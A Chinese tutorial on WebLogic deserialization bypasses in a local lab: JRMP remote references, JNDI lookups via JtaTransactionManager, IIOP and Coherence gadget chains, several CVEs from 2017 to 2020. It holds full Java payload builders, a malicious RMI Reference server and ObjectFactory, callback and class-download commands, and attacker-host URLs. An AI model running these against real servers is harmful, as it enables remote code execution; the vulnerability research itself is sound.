上篇我们分析了 CVE-2015-4852 和 CC3 的利用链,以及由于修复不完全而出现的 CVE-2016-0638 和 CVE-2016-3510。针对 CVE-2016-0638 和 CVE-2016-3510,WebLogic 采用了更严格的反序列化过滤策略:先检查外层对象是否命中黑名单,再继续检查内层对象

但是如果攻击者不再从原来的反序列化入口进入,而是寻找一条新的反序列化路径呢?几个月后,CVE-2017-3248 就利用了这样的思路。

要理解这个漏洞,首先需要了解 RMI 和 JRMP。RMI(Remote Method Invocation,远程方法调用)是 Java 提供的一套远程调用机制,可以让一个 Java 程序调用另一个 Java 程序中的远程对象。JRMP(Java Remote Method Protocol,Java 远程方法协议)则是 RMI 使用的一种通信协议,和上篇提到的 T3 类似,二者都运行在 TCP 之上。

1. CVE-2017-3248 的攻击路径

攻击者发现 WebLogic 在处理 T3 协议时,可以进入一条与 JRMP 相关的处理路径,通过 JRMP 协议请求远程对象,根据这一特性,可以构造新的攻击路径:

  1. 准备一个恶意 JRMP 服务,并将恶意对象放置在该服务中。
  2. 攻击者构造特殊的 T3 请求,将指向该 JRMP 服务的信息发送给 WebLogic。
  3. WebLogic 处理 T3 请求时,根据请求中的信息进入 JRMP 处理流程,并主动连接攻击者控制的 JRMP 服务。
  4. WebLogic 从恶意 JRMP 服务获取并处理攻击者提供的对象数据,进而进入反序列化流程。
  5. 反序列化过程中触发 Gadget Chain,最终导致命令执行。

站在攻击者的角度看,这 5 个步骤可以分为两个阶段:第一阶段由攻击者执行,通过 T3 把远程引用送进 WebLogic;第二阶段由 WebLogic 主动连接 JRMP 服务,自动获取恶意对象并反序列化。

jrmp-two-stage-flow.png

1.1 第一阶段:T3 中放入远程引用

我们可以创建一个 RMI 远程引用对象,序列化之后通过上篇的 send_t3.py 发给 WebLogic。代码保存为 https://github.com/NHPT/Java-Deserialization-Lab/blob/main/weblogic-deserialize-lab/attacker/jrmp/T3Cve20173248PayloadBuilder.java

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class T3Cve20173248PayloadBuilder {
    public static void main(String[] args) throws Exception {
        // 输出文件,后面交给 send_t3.py 作为 T3 消息体发送。
        String output = args.length > 0 ? args[0] : "payload.ser";

        // 攻击者 JRMP 服务地址。这个地址必须能被 WebLogic 服务端访问到。
        String host = args.length > 1 ? args[1] : "127.0.0.1";
        int port = args.length > 2 ? Integer.parseInt(args[2]) : 1099;

        // 1. TCPEndpoint 用来保存 RMI/JRMP 服务端的地址和端口。
        TCPEndpoint endpoint = new TCPEndpoint(host, port);

        // 2. 创建一个远程对象编号 ObjID,并和 TCPEndpoint 一起放入 LiveRef(活跃的远程对象引用)。
        //    每次运行都会生成新的 ObjID,避免 WebLogic JVM 忽略已经登记过的远程引用。
        LiveRef liveRef = new LiveRef(new ObjID(new Random().nextInt()), endpoint, false);

        // 3. 把 LiveRef 放进 UnicastRef(可以通过 JRMP 访问的远程引用)。
        UnicastRef unicastRef = new UnicastRef(liveRef);

        // 4. 通过 RemoteObjectInvocationHandler 用 unicastRef 创建一个 RMI 远程对象动态代理的调用处理器。
        RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(unicastRef);

        // 5. 创建一个实现 Registry 接口的动态代理,并把 handler 放进代理对象。
        Registry proxy = (Registry) Proxy.newProxyInstance(
                T3Cve20173248PayloadBuilder.class.getClassLoader(),
                new Class[]{Registry.class},
                handler
        );

        // 6. 序列化这个代理对象,生成第一阶段 payload。
        try (ObjectOutputStream objectStream = new ObjectOutputStream(new FileOutputStream(output))) {
            objectStream.writeObject(proxy);
        }
    }
}

现在编译并运行,生成第一阶段序列化数据:

cd weblogic-deserialize-lab/attacker/jrmp
javac -source 1.7 -target 1.7 T3Cve20173248PayloadBuilder.java
java T3Cve20173248PayloadBuilder payload.ser 你的IP地址 1099

接下来在一个终端中启动 TCP 监听,在另一个终端中发送这个文件作为 T3 消息体发送给 WebLogic:

# 监听 JRMP/TCP 连接
nc -lv 1099
# 发送 payload.ser 文件到 WebLogic
python3 ../send_t3.py 127.0.0.1 7001 payload.ser

然后就可以看到来自 WebLogic 的连接:

jrmp-first-stage.png

我们成功让 WebLogic 连接了攻击者的 JRMP 服务。

1.2 第二阶段:WebLogic 通过 JRMP 获取恶意对象

现在我们实现一个真正的 JRMP 服务和恶意对象,当 WebLogic 连接后,返回恶意对象。具体流程如下:

  • 启动 1099 端口等待 WebLogic 回连。
  • 读取 WebLogic 发来的 JRMP/RMI/DGC 请求。
  • 构造第二阶段 CC3 对象图。
  • 按 RMI 返回格式把 CC3 包进异常对象返回给 WebLogic。

其中 buildCc3Payload() 只是复用上篇 CC3 构造逻辑,重点看 writePayload()。完整代码见 https://github.com/NHPT/Java-Deserialization-Lab/blob/main/weblogic-deserialize-lab/attacker/jrmp/Cve20173248JRMPServer.java

编译并启动第二阶段 JRMP 服务:

cd weblogic-deserialize-lab/attacker/jrmp
# 编译第二阶段 JRMP 服务
javac -source 1.7 -target 1.7 -cp ../lib/commons-collections-3.2.1.jar Cve20173248JRMPServer.java
# 启动第二阶段 JRMP 服务
java -cp .:../lib/commons-collections-3.2.1.jar Cve20173248JRMPServer 1099 ../EvilTranslet.class

编译过程存在警告是正常的,不会影响运行。然后我们再执行第一阶段的过程,把第一阶段的 payload 发给 WebLogic。然后我们就可以看到 JRMP 服务被请求,DGC 请求被触发,第二阶段的 CC3 对象被返回:

jrmp-second-stage.png

然后查看 WebLogic 容器日志可以看到 id 命令被执行的输出:

docker logs weblogic1213-deserialize-lab 2>&1 | grep 'uid'

jrmp-second-stage-id.png

实际上我们会看到多次 JRMP 请求和多次命令执行结果输出,这是正常现象。一次 T3 payload 只负责把远程引用送进 WebLogic,后续 JRMP 请求由 RMI/DGC 自动发起。WebLogic 恢复 UnicastRef / LiveRef 后会登记远程引用,并通过 DGC 发送 dirty() 请求、登记、重试或续约都可能产生多次 JRMP 请求。由于攻击端 JRMP 服务每次都会返回第二阶段 CC3 对象,所以命令也可能被执行多次。现在我们知道 CVE-2017-3248 的完整执行流程了吧:

  • WebLogic 反序列化第一阶段远程引用
  • 根据 UnicastRef 中的地址连接攻击端 JRMP 服务
  • JRMP 服务端返回包含 CC3 对象图的 JRMP 响应
  • WebLogic RMI 客户端反序列化响应对象
  • CC3 加载恶意类
  • 执行 id

2. 远程引用的后续绕过

CVE-2017-3248 的第一阶段使用了 Registry 动态代理实现。Oracle 的修复方式是在动态代理接口恢复阶段增加检查:如果代理实现了 java.rmi.registry.Registry,就直接拒绝反序列化。但这本质上还是黑名单过滤,所以聪明的黑客又找到了绕过方法——CVE-2018-2628。

2.1 使用 Activator 接口

CVE-2018-2628 的思路很直接:既然 Registry 接口被加入黑名单,那就换一个同样属于 RMI 体系、但没有被禁止的接口,例如 java.rmi.activation.Activator。代码上只需要替换动态代理接口,其他保持不变 。代码保存为 https://github.com/NHPT/Java-Deserialization-Lab/blob/main/weblogic-deserialize-lab/attacker/jrmp/T3Cve20182628PayloadBuilder.java

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.rmi.activation.Activator;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class T3Cve20182628PayloadBuilder {
    public static void main(String[] args) throws Exception {
        // 输出文件,后面交给 send_t3.py 作为 T3 消息体发送。
        String output = args.length > 0 ? args[0] : "payload.ser";

        // 攻击者 JRMP 服务地址。这个地址必须能被 WebLogic 服务端访问到。
        String host = args.length > 1 ? args[1] : "127.0.0.1";
        int port = args.length > 2 ? Integer.parseInt(args[2]) : 1099;

        // 1. TCPEndpoint 用来保存 RMI/JRMP 服务端的地址和端口。
        TCPEndpoint endpoint = new TCPEndpoint(host, port);

        // 2. 创建一个远程对象编号 ObjID,并和 TCPEndpoint 一起放入 LiveRef(活跃的远程对象引用)。
        //    每次运行都会生成新的 ObjID,避免 WebLogic JVM 复用已经登记过的远程引用。
        LiveRef liveRef = new LiveRef(new ObjID(new Random().nextInt()), endpoint, false);

        // 3. 把 LiveRef 放进 UnicastRef(可以通过 JRMP 访问的远程引用)。
        UnicastRef unicastRef = new UnicastRef(liveRef);

        // 4. 通过 RemoteObjectInvocationHandler 用 unicastRef 创建一个 RMI 远程对象动态代理的调用处理器。
        RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(unicastRef);

        // 5. 创建一个实现 Activator 接口的动态代理,并把 handler 放进代理对象。
        //    这里和 CVE-2017-3248 的差异只有:Registry 接口换成了 Activator 接口。
        Activator proxy = (Activator) Proxy.newProxyInstance(
                T3Cve20182628PayloadBuilder.class.getClassLoader(),
                new Class[]{Activator.class},
                handler
        );

        // 6. 序列化这个代理对象,生成第一阶段 payload。
        try (ObjectOutputStream objectStream = new ObjectOutputStream(new FileOutputStream(output))) {
            objectStream.writeObject(proxy);
        }
    }
}

运行时仍然复用 1.2 的 JRMP 服务。先启动 JRMP 服务:

cd weblogic-deserialize-lab/attacker/jrmp
java -cp .:../lib/commons-collections-3.2.1.jar Cve20173248JRMPServer 1099 ../EvilTranslet.class

然后在另一个终端生成 Activator 版本的第一阶段 payload,并通过 T3 发给 WebLogic:

cd weblogic-deserialize-lab/attacker/jrmp
# 编译 Activator 版本的第一阶段 payload
javac -source 1.7 -target 1.7 T3Cve20182628PayloadBuilder.java
# 生成 Activator 版本的第一阶段 payload 并通过 T3 发给 WebLogic
java T3Cve20182628PayloadBuilder cve-2018-2628.ser 你的IP地址 1099
python3 ../send_t3.py 127.0.0.1 7001 cve-2018-2628.ser

发送序列化数据后,我们可以看到 WebLogic 连接了攻击端 JRMP 服务,然后就可以在 WebLogic 容器日志中看到 id 命令被执行的输出:

cve-2018-2628-second-stage-id.png

2.2 封装远程引用相关对象

Oracle 通过继续补黑名单检查更多 RMI 动态代理接口来增强黑名单检测。聪明的你和攻击者都想到了和上篇类似的封装绕过:把远程引用相关对象包进另一个对象里,再把这个外层对象送进 WebLogic。不同的是,上篇封装的是最终 gadget,这里封装的是会触发 JRMP 回连的远程引用相关对象。这就是 CVE-2018-2893 的思路。

我们可以复用上篇 StreamMessageImpl 的封装方法,但内层对象要换掉:

  • 上篇:用 StreamMessageImpl 封装 CC3 对象图
  • 本文:用 StreamMessageImpl 封装 RemoteObjectInvocationHandler,里面保存指向攻击端 JRMP 服务的 UnicastRef

前 4 步仍然和 2.1 一样,创建 RemoteObjectInvocationHandler,第 5 步把 RemoteObjectInvocationHandler 序列化后使用 StreamMessageImpl 封装,然后写入文件生成第一阶段 payload,关键代码如下:

    ...
    // 5. 不再创建动态代理,而是把 RemoteObjectInvocationHandler 序列化后放进 StreamMessageImpl。
    byte[] payloadBytes = wrapWithStreamMessage(serialize(handler));

    // 6. 把外层 StreamMessageImpl 的序列化数据写入文件,生成第一阶段 payload。
    try (FileOutputStream out = new FileOutputStream(output)) {
        out.write(payloadBytes);
    }
    ...
    // 把内层对象封装进 StreamMessageImpl,生成最终要通过 T3 发送的外层数据。
    private static byte[] wrapWithStreamMessage(byte[] innerBytes) throws Exception {
        // 5.1 StreamMessageImpl 读取消息体时,先读数据长度,再读真正的内层对象数据。
        byte[] payloadBytes;
        try (ByteArrayOutputStream byteStream = new ByteArrayOutputStream();
            DataOutputStream dataStream = new DataOutputStream(byteStream)) {
                dataStream.writeInt(innerBytes.length);
                dataStream.write(innerBytes);
                payloadBytes = byteStream.toByteArray();
        }

        // 5.2 把内层远程引用数据放进 StreamMessageImpl 的 payload 字段。
        StreamMessageImpl wrapper = new StreamMessageImpl();
        PayloadStream payload = (PayloadStream) PayloadFactoryImpl.createPayload(
            new DataInputStream(new ByteArrayInputStream(payloadBytes))
        );
        wrapper.setPayload(payload);

        // 5.3 先正常序列化外层 StreamMessageImpl。
        byte[] outerBytes = serialize(wrapper);

        // 5.4 WebLogic 12.1.3 只有消息体版本为 1 时,才会反序列化内层对象。
        int bodyVersionOffset = findBodyVersionOffset(outerBytes, innerBytes.length);
        outerBytes[bodyVersionOffset] = 1;
        return outerBytes;
    }
    ...

完整代码见 https://github.com/NHPT/Java-Deserialization-Lab/blob/main/weblogic-deserialize-lab/attacker/jrmp/T3Cve20182893PayloadBuilder.java。仍然可以复用 1.2 的 JRMP 服务。先启动 JRMP 服务:

cd weblogic-deserialize-lab/attacker/jrmp
java -cp .:../lib/commons-collections-3.2.1.jar Cve20173248JRMPServer 1099 ../EvilTranslet.class

再生成 CVE-2018-2893 的第一阶段 payload,并通过 T3 发送:

cd weblogic-deserialize-lab/attacker/jrmp
javac -source 1.7 -target 1.7 -cp ../lib/weblogic.server.merged.jar:../lib/javax.jms_1.1.4.jar T3Cve20182893PayloadBuilder.java
java -cp .:../lib/weblogic.server.merged.jar:../lib/javax.jms_1.1.4.jar T3Cve20182893PayloadBuilder cve-2018-2893.ser 你的IP地址 1099
python3 ../send_t3.py 127.0.0.1 7001 cve-2018-2893.ser

2.3 漏网之鱼

在 CVE-2018-2893 的修复中,Oracle 扩展了反序列化黑名单,开始限制下面这些 RMI 远程引用相关类:

  • java.rmi.server.RemoteObjectInvocationHandler
  • java.rmi.server.UnicastRemoteObject

因为 UnicastRemoteObject 也是 RMI 体系里的远程对象类,它也可以保存远程引用,达到和 RemoteObjectInvocationHandler 类似的效果,所以也被加入了黑名单。

然而,这种基于类名黑名单的防御依然不完备。攻击者很快找到了新的绕过方法——CVE-2018-3245:利用同样能携带远程引用(如内部的 UnicastRef 成员变量)、但出于 RMI 通信需要而未被黑名单覆盖的 RMI 客户端代理类,例如 RMIConnectionImpl_Stub 和 ReferenceWrapper_Stub。通过反序列化这些“合法”的代理对象,远程引用被再次带入 WebLogic 内存,从而成功绕过了对特定 RMI 引用类的封锁。

RMIConnectionImpl_Stub 为例,我们看看如何实现这一过程,代码保存为 https://github.com/NHPT/Java-Deserialization-Lab/blob/main/weblogic-deserialize-lab/attacker/jrmp/T3Cve20183245PayloadBuilder.java

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import javax.management.remote.rmi.RMIConnectionImpl_Stub;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.rmi.server.ObjID;
import java.util.Random;

public class T3Cve20183245PayloadBuilder {
    public static void main(String[] args) throws Exception {
        // 输出文件,后面交给 send_t3.py 作为 T3 消息体发送。
        String output = args.length > 0 ? args[0] : "payload.ser";

        // 攻击者 JRMP 服务地址。这个地址必须能被 WebLogic 服务端访问到。
        String host = args.length > 1 ? args[1] : "127.0.0.1";
        int port = args.length > 2 ? Integer.parseInt(args[2]) : 1099;

        // 1. TCPEndpoint 用来保存 RMI/JRMP 服务端的地址和端口。
        TCPEndpoint endpoint = new TCPEndpoint(host, port);

        // 2. 创建一个远程对象编号 ObjID,并和 TCPEndpoint 一起放入 LiveRef(活跃的远程对象引用)。
        //    每次运行都会生成新的 ObjID,避免 WebLogic JVM 复用已经登记过的远程引用。
        LiveRef liveRef = new LiveRef(new ObjID(new Random().nextInt()), endpoint, false);

        // 3. 把 LiveRef 放进 UnicastRef(可以通过 JRMP 访问的远程引用)。
        UnicastRef unicastRef = new UnicastRef(liveRef);

        // 4. 不再使用 RemoteObjectInvocationHandler,改用 RMIConnectionImpl_Stub 保存远程引用。
        RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub(unicastRef);

        // 5. 序列化这个 Stub 对象,生成第一阶段 payload。
        try (ObjectOutputStream objectStream = new ObjectOutputStream(new FileOutputStream(output))) {
            objectStream.writeObject(stub);
        }
    }
}

继续复用 1.2 的 JRMP 服务,然后生成 CVE-2018-3245 的第一阶段 payload,并通过 T3 发送:

cd weblogic-deserialize-lab/attacker/jrmp
javac -source 1.7 -target 1.7 T3Cve20183245PayloadBuilder.java
java T3Cve20183245PayloadBuilder cve-2018-3245.ser 你的IP地址 1099
python3 ../send_t3.py 127.0.0.1 7001 cve-2018-3245.ser

这个漏洞看起来比 CVE-2017-3248 还简单,或许攻击者早都发现了,只是没有在 2017 年公开出来。回顾这四个漏洞我们可以看到 JRMP 在 WebLogic 反序列化漏洞中的攻防历程:

  • CVE-2017-3248:用 Registry 动态代理实现携带 RemoteObjectInvocationHandler 远程引用。
  • CVE-2018-2628:换成 Activator 接口继续携带远程引用。
  • CVE-2018-2893:用包装对象把 RemoteObjectInvocationHandler 藏到里面。
  • CVE-2018-3245:直接换成能保存远程引用的 RMIConnectionImpl_Stub 对象携带远程引用。

3. JNDI:从远程引用到命名查找

经过前面几轮修复,Oracle 已经限制了 RegistryActivatorRemoteObjectInvocationHandlerUnicastRemoteObject 等可以携带远程引用的 RMI 对象。JRMP 远程引用这条路越来越难走,于是攻击者又探索出了新的触发方式——CVE-2018-3191:只在对象里放一个查找名称,让 WebLogic 自己去外部服务查找对象,这就是 JNDI 路线。

JNDI(Java Naming and Directory Interface)是 Java 提供的命名和目录查找 API。程序给它一个名称,它再根据这个名称去查找对象,就像我们用 https://blog.hackall.cn/pentestvuln/Apache-Shiro-rememberMe-Cookie-RCE.html 向服务器请求一个资源一样,JNDI 也通过类似格式的 URL(如 rmi://evil.com:1099/Exploit)向命名服务请求一个 Java 对象。

常见的 JNDI 协议 URL 格式包括:

  • rmi://host:port/name — 从 RMI 注册表中查找名为 name 的远程对象引用。
  • ldap://host:port/dn — 按目录路径(DN)从 LDAP 服务器中查找条目,可能返回序列化对象或远程代码引用。
  • iiop://host:port/name — 从 CORBA(公共对象请求代理体系结构) 命名服务中查找对象引用。

3.1 第一阶段:T3 中放入 JNDI 查找对象

CVE-2018-3191 仍然从 T3 进入,但第一阶段对象不再是 RMI 动态代理,也不再直接携带 RemoteRef。它使用的是 WebLogic classpath 中的事务管理类 JtaTransactionManager。在当前实验环境中,这个类来自 weblogic.server.merged.jar,完整类名是 com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager

JtaTransactionManager 有一个 userTransactionName 字段,用来保存事务对象的 JNDI 名称。攻击者把这个字段设置成外部地址,例如 rmi://ATTACKER_HOST:1099/exp,WebLogic 恢复对象时就会根据这个字段发起 JNDI lookup。

我们用下面代码实现第一阶段 payload,代码保存为 https://github.com/NHPT/Java-Deserialization-Lab/blob/main/weblogic-deserialize-lab/attacker/jndi/T3Cve20183191PayloadBuilder.java

import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;

public class T3Cve20183191PayloadBuilder {
    public static void main(String[] args) throws Exception {
        // 输出文件,后面交给 send_t3.py 作为 T3 消息体发送。
        String output = args.length > 0 ? args[0] : "payload.ser";

        // 攻击端 JNDI 地址。这个地址必须能被 WebLogic 服务端访问到。
        String jndiUrl = args.length > 1 ? args[1] : "rmi://127.0.0.1:1099/exp";

        // 1. JtaTransactionManager 是 WebLogic classpath 中自带的事务管理类。
        JtaTransactionManager manager = new JtaTransactionManager();

        // 2. userTransactionName 会在反序列化恢复对象时被拿去做 JNDI lookup。
        manager.setUserTransactionName(jndiUrl);

        // 3. 关闭本地自动探测,只保留 userTransactionName 触发的外部 JNDI 查找。
        manager.setAutodetectUserTransaction(false);
        manager.setAutodetectTransactionManager(false);

        // 4. 序列化这个对象,生成第一阶段 payload。
        try (ObjectOutputStream objectStream = new ObjectOutputStream(new FileOutputStream(output))) {
            objectStream.writeObject(manager);
        }
    }
}

这里把 JNDI 地址放到 JtaTransactionManager 对象的 userTransactionName 字段里,然后序列化生成第一阶段 payload,WebLogic 会在反序列化恢复对象时根据这个字段发起 JNDI lookup。

3.2 第二阶段:JNDI 服务返回恶意 Reference

和 JRMP 第二阶段不同,这里的 JNDI 第二阶段包含 RMI 服务和 HTTP 服务:

  • RMI 服务:响应 JNDI lookup,返回指向恶意类的引用(Reference),告诉 WebLogic 去哪里加载恶意类。
  • HTTP 服务:提供这个恶意类,WebLogic 加载后执行命令。

我们先实现 RMI 服务,代码保存为 https://github.com/NHPT/Java-Deserialization-Lab/blob/main/weblogic-deserialize-lab/attacker/jndi/JndiRmiReferenceServer.java

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JndiRmiReferenceServer {
    public static void main(String[] args) throws Exception {
        // RMI Registry 监听端口,WebLogic 会通过 rmi://host:port/name 访问这里。
        int port = args.length > 0 ? Integer.parseInt(args[0]) : 1099;

        // 恶意 ObjectFactory 的 HTTP 地址,必须以 / 结尾。
        String codebase = args.length > 1 ? args[1] : "http://127.0.0.1:8000/";

        // JNDI 名称,和 payload 里的 rmi://host:port/name 最后一段保持一致。
        String name = args.length > 2 ? args[2] : "exp";

        // 目标 lookup 到这个 Reference 后,会从 codebase 加载恶意类 `EvilJndiFactory`。
        Reference reference = new Reference("EvilJndiFactory", "EvilJndiFactory", codebase);

        // 创建 RMI 注册类并绑定 ReferenceWrapper 到 JNDI 名称。
        Registry registry = LocateRegistry.createRegistry(port);
        registry.bind(name, new ReferenceWrapper(reference));

        System.out.println("JNDI RMI server listening: rmi://0.0.0.0:" + port + "/" + name);
        System.out.println("HTTP codebase: " + codebase);
        Thread.sleep(Long.MAX_VALUE);
    }
}

当 WebLogic 通过 rmi://攻击端IP:1099/exp 发起 lookup 请求时,RMI 服务返回一个 Reference,告诉 WebLogic 去 codebase 加载恶意类 EvilJndiFactory

这里的触发机制和前面不同,所以不需要使用 CC 链了,可以直接在 ObjectFactory 里执行命令。我们需要重新实现一个恶意类,代码保存为 https://github.com/NHPT/Java-Deserialization-Lab/blob/main/weblogic-deserialize-lab/attacker/jndi/EvilJndiFactory.java

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class EvilJndiFactory implements ObjectFactory {
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx,
                                    Hashtable<?, ?> environment)
            throws Exception {
        // 目标加载这个 ObjectFactory 后会调用这里。
        new ProcessBuilder("/bin/sh", "-c", "id").inheritIO().start();
        return null;
    }
}

我们分 4 步完成攻击实验:

  1. 先编译 JNDI 相关代码:

    cd weblogic-deserialize-lab/attacker/jndi
    javac -source 1.7 -target 1.7 -cp ../lib/weblogic.server.merged.jar T3Cve20183191PayloadBuilder.java JndiRmiReferenceServer.java EvilJndiFactory.java
  2. 启动 HTTP 服务,给 WebLogic 下载 EvilJndiFactory.classpython3 -m http.server 8000
  3. 再开一个终端启动 JNDI RMI 服务:

    cd weblogic-deserialize-lab/attacker/jndi
    # 为了看到 RMI 服务的 lookup 请求,增加 -Dsun.rmi.transport.logLevel=VERBOSE 参数
    java -Dsun.rmi.transport.logLevel=VERBOSE JndiRmiReferenceServer 1099 http://你的IP地址:8000/ exp
  4. 最后生成第一阶段 payload,并通过 T3 发送:

    cd weblogic-deserialize-lab/attacker/jndi
    java -cp .:../lib/weblogic.server.merged.jar T3Cve20183191PayloadBuilder cve-2018-3191.ser rmi://你的IP地址:1099/exp
    python3 ../send_t3.py 127.0.0.1 7001 cve-2018-3191.ser

然后我们就可以看到 WebLogic 请求攻击端的 RMI 服务:

cve-2018-3191-lookup.png

接着请求了 HTTP 服务获取 EvilJndiFactory.class

cve-2018-3191-http.png

我们可以看到容器日志中 WebLogic 执行了 id 命令:

cve-2018-3191-id.png

4. IIOP:从 T3 入口换到 IIOP 入口

随着 T3 协议的相关攻击路径被逐步封堵,攻击者在探索过程中发现了新的入口——IIOP。IIOP(Internet Inter-ORB Protocol)也是 WebLogic 支持的远程对象通信协议,和 T3 一样运行在 TCP 之上。前面讲过的远程引用、JNDI lookup、gadget 对象等利用思路,同样可以通过 IIOP 入口触发。

4.1 通过 IIOP 送入 JNDI 查找对象

T3 协议不断加强的修复措施,恰好凸显了 IIOP 协议一直以来存在的安全短板:T3 协议在反序列化时,会使用 resolveClass 方法进行过滤。这个方法会递归检查一个类及其所有父类是否在黑名单中,而 IIOP 只检查当前类的类名,而不会去检查其父类,这就导致了 CVE-2020-2551 的产生:危险的 JtaTransactionManager 类本身不在黑名单中,但其父类 AbstractPlatformTransactionManager早已被列入黑名单。T3 协议会全部拦截,但 IIOP 协议只看到 JtaTransactionManager 这个名字,便放行了。

当前 lab 在 7001 端口同时启动了 T3 入口和 IIOP 入口。这里我们不再使用 Python 实现 IIOP 客户端,而是使用 Java 标准 JNDI API 加上 WebLogic 提供的 WLInitialContextFactory 来连接 WebLogic。我们用一份最小客户端代码实现 IIOP 入口。代码保存为 https://github.com/NHPT/Java-Deserialization-Lab/blob/main/weblogic-deserialize-lab/attacker/iiop/IiopCve20202551Client.java

import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Method;
import java.util.Hashtable;

public class IiopCve20202551Client {
    public static void main(String[] args) throws Exception {
        // 这里我们直接用类似 HTTP 的 URL 格式,把 IIOP 入口地址写在命令行参数里。
        String target = args.length > 0 ? args[0] : "iiop://127.0.0.1:7001";

        // 攻击端 JNDI 地址,WebLogic 反序列化对象后会访问这里。
        String jndiUrl = args.length > 1 ? args[1] : "rmi://127.0.0.1:1099/exp";

        // 1. 使用 WebLogic 提供的 WLInitialContextFactory 创建 JNDI 上下文。
        Hashtable<String, String> environment = new Hashtable<String, String>();
        environment.put(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory");
        // 2. 然后通过 iiop:// 连接 IIOP 入口。
        environment.put(Context.PROVIDER_URL, target);
        Context context = new InitialContext(environment);

        // 3. 通过 IIOP 获取 WebLogic 暴露的 MEJB 远程对象,用于后续调用 remove 方法。
        Object mejb = context.lookup("ejb/mgmt/MEJB");

        // 4. 构造会触发 JNDI lookup 的对象,使 WebLogic 会在反序列化恢复对象时根据 userTransactionName 触发的外部 JNDI 查找,逻辑和第 3 节相同。
        JtaTransactionManager manager = new JtaTransactionManager();
        manager.setUserTransactionName(jndiUrl);
        manager.setAutodetectUserTransaction(false);
        manager.setAutodetectTransactionManager(false);

        // 5. 反射获取 MEJB 远程对象上的 remove(Object) 方法,然后调用 remove.invoke() 方法,把 manager 作为 IIOP 调用参数送到 WebLogic。
        Method remove = mejb.getClass().getMethod("remove", Object.class);
        remove.invoke(mejb, manager);
    }
}

第二阶段仍然复用第 3 节的 JNDI RMI 服务和 HTTP 服务。先启动这两个服务:

cd weblogic-deserialize-lab/attacker/jndi
java -Dsun.rmi.transport.logLevel=VERBOSE JndiRmiReferenceServer 1099 http://你的IP地址:8000/ exp
python3 -m http.server 8000

然后再运行 IIOP 客户端给 WebLogic 发送 JNDI 查找对象:

cd weblogic-deserialize-lab/attacker/iiop
javac -source 1.7 -target 1.7 -cp ../lib/weblogic.server.merged.jar IiopCve20202551Client.java
java -cp .:../lib/weblogic.server.merged.jar IiopCve20202551Client iiop://127.0.0.1:7001 rmi://你的IP地址:1099/exp

运行后会产生异常,因为我们没有处理异常,但这并不影响我们的攻击。

4.2 通过 IIOP 触发 Coherence 链

同一时期,攻击者还发现了另一条不依赖 JNDI 的路线——CVE-2020-2555:通过 T3 或 IIOP 送入 WebLogic 自带的 Coherence gadget。Coherence 是 Oracle 的分布式缓存组件,WebLogic 完整安装中通常会带有它的相关类,包名以 com.tangosol 开头。CVE-2020-2555 使用 BadAttributeValueExpException 触发 LimitFiltertoString() 方法,这会调用其内部的 ValueExtractor 提取对象的属性,因此可以进一步调用 ChainedExtractorReflectionExtractor,最终通过反射执行目标方法。

Oracle 修复该漏洞后,攻击者发现可以更换调用链的入口,而保留后半段的 Coherence Gadget。CVE-2020-2883 利用 PriorityQueue 在反序列化过程中触发 ExtractorComparator.compare(),再由 ExtractorComparator 调用 ChainedExtractorReflectionExtractor,最终通过反射调用目标方法,从而绕过了 CVE-2020-2555 针对原有触发路径的修复。两条利用链的核心区别在于触发方式不同,而后半段的 Coherence Gadget 基本保持一致:

  • CVE-2020-2555:BadAttributeValueExpException 触发 LimitFilter.toString(),进而调用 ChainedExtractorReflectionExtractor
  • CVE-2020-2883:PriorityQueue.readObject() 触发 ExtractorComparator.compare(),再由 ExtractorComparator 调用 ChainedExtractorReflectionExtractor

本节以 CVE-2020-2883 为例,学习一下 Coherence 链的利用方法。代码中要用到三个 Coherence 类:

  • ExtractorComparator:比较两个对象前,会先用 extractor 从对象里取值。
  • ChainedExtractor:可以把多个 extractor 串起来,前一个 extractor 的结果会交给后一个继续处理。
  • ReflectionExtractor:可以反射调用对象上的指定方法。

Java 标准库 java.util 包中的 PriorityQueue 类在反序列化时会自动执行堆排序,间接调用其内部的 Comparator.compare 方法来比较元素。把上边这三个类按 CC 链的思路包装放入 PriorityQueue 中,我们就可以构造 gadget 链执行任意代码,具体流程如下:

  • 把要调用的方法(如 ProcessBuilder(...).inheritIO().start())及其参数封装进 ReflectionExtractor
  • 然后把多个 ReflectionExtractor 按顺序放入 ChainedExtractor
  • 接着把 ChainedExtractor 放入 ExtractorComparator 中。
  • 最后把 ExtractorComparator 作为 Comparator 对象放入 PriorityQueue

在反序列化时,就会触发以下流程:

  • 反序列化 PriorityQueue 时,调用 readObject 方法恢复堆结构。
  • 恢复堆结构时,会调用 Comparator.compare() 方法来比较元素。
  • 触发 ExtractorComparator,间接调用 ChainedExtractor
  • ChainedExtractor 中预先包装的多个 ReflectionExtractor 依次被调用,通过反射执行指定的方法。
  • 最后执行我们指定的命令。

